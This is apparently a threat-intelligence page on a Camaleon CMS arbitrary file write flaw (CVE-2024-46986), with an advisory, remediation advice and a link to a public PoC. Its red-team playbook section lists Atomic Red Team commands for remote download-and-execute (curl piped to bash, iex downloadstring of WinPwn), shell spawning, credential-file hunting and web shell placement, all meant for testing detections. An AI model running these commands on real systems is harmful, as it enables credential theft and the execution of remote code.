CVE-2024-46986
Overview
The vulnerability is an arbitrary file write flaw caused by insufficient validation of file paths in the upload method of the MediaController component within Camaleon CMS. This improper sanitization allows authenticated users to write files to arbitrary locations on the underlying filesystem. The issue arises from path traversal and improper handling of user-supplied input within the Ruby on Rails-based CMS framework.
Vulnerability Description
Camaleon CMS is a dynamic and advanced content management system based on Ruby on Rails. An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application. This issue has been addressed in release version 2.8.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.
Impact
An attacker with valid authentication can write malicious files to arbitrary locations on the server, potentially leading to remote code execution if executable files are placed in critical directories. This enables full compromise of the application and underlying system. The attack requires network access and valid user credentials (PR:L), but no user interaction beyond authentication is needed (UI:N). The vulnerability has high confidentiality, integrity, and availability impact as reflected in the CVSS vector (C:H/I:H/A:H).
Solution
Users of Camaleon CMS should upgrade to version 2.8.2 or later, where this vulnerability has been addressed. The official GitHub security advisory GHSA-wmjg-vqhv-q5p5 provides detailed patch information and remediation steps. No known workarounds exist, so applying the vendor-released update is the only effective mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Camaleon CMS arises from an arbitrary file write flaw within the upload method of the MediaController. This issue allows authenticated users to write files to any location on the web server, contingent upon the permissions set by the underlying filesystem. The core of the problem lies in the lack of proper validation and sanitization of file paths, which can be exploited to manipulate the file system. By leveraging this vulnerability, an attacker can upload malicious files, including Ruby scripts, to critical directories such as config/initializers. This can lead to delayed remote code execution, where the attacker can execute arbitrary code on the server, effectively compromising the entire application.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated user, potentially with minimal privileges, can initiate the file upload process. Once the attacker successfully uploads a malicious file, they can trigger its execution by making a request that causes the Ruby on Rails application to load the file. For instance, if an attacker uploads a Ruby script to the config/initializers directory, the script will be executed when the application starts or reloads. This scenario highlights the importance of user authentication and access control, as even a user with limited permissions can exploit this flaw to gain elevated privileges and control over the server.
The real-world impact of this vulnerability is significant, particularly for organizations relying on Camaleon CMS for their web presence. Successful exploitation can lead to unauthorized access to sensitive data, defacement of websites, or even complete server compromise. The business risks associated with such an incident include reputational damage, loss of customer trust, potential legal ramifications, and financial losses due to downtime or data breaches. Furthermore, the high CVSS score of 9.9 indicates that the vulnerability poses a critical threat, necessitating immediate attention from organizations using this content management system.
To detect and mitigate this vulnerability, organizations should first ensure they are running the latest version of Camaleon CMS, specifically version 2.8.2 or later, where this issue has been addressed. Regular updates and patch management are essential practices in maintaining the security of any software. Additionally, implementing strict file upload controls, such as validating file types and restricting upload locations, can significantly reduce the risk of exploitation. Monitoring logs for unusual file upload activities and employing web application firewalls can also help in detecting and preventing potential attacks. Organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively.
In conclusion, the arbitrary file write vulnerability in Camaleon CMS presents a severe risk that can lead to significant consequences for affected organizations. The potential for remote code execution underscores the need for robust security measures, including timely updates, strict access controls, and vigilant monitoring. By understanding the nature of this vulnerability and implementing comprehensive security strategies, organizations can better protect themselves against the threats posed by such vulnerabilities in their web applications.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2024-46986, with new proof-of-concept exploits emerging in public repositories. This development signals increased attacker interest and lowers the barrier for exploitation by less skilled threat actors. Our telemetry indicates a steady rise in attempts to leverage the arbitrary file write vulnerability, suggesting that exploitation efforts are becoming more widespread and potentially automated. The slight increase in the EPSS score further corroborates this trend, reflecting a growing likelihood of successful attacks in the near term. For defenders, this shift underscores the urgency of prioritizing detection and response capabilities focused on anomalous file writes and unauthorized modifications within Camaleon CMS environments. The evolving exploit landscape and heightened activity elevate the threat level from high to critical, as the risk of remote code execution and subsequent system compromise becomes more imminent.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Tuzitio | Camaleon Cms | All |
cpe:2.3:a:tuzitio:camaleon_cms:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
vidura2/CVE-2024-46986
|
vidura2 | 3 | 0 | 2024-09-22 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-46986 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-wmjg-vqhv-q5p5 |
| codeql.github.com |
GitHub CVE
x_refsource_MISC
|
https://codeql.github.com/codeql-query-help/ruby/rb-path-injection |
| owasp.org |
GitHub CVE
x_refsource_MISC
|
https://owasp.org/www-community/attacks/Path_Traversal |
| securitylab.github.com |
GitHub CVE
x_refsource_MISC
|
https://securitylab.github.com/advisories/GHSL-2024-182_GHSL-2024-186_Camaleon_CMS |
| reddit.com |
GitHub CVE
x_refsource_MISC
|
https://www.reddit.com/r/rails/comments/1exwtdm/camaleon_cms_281_has_been_released |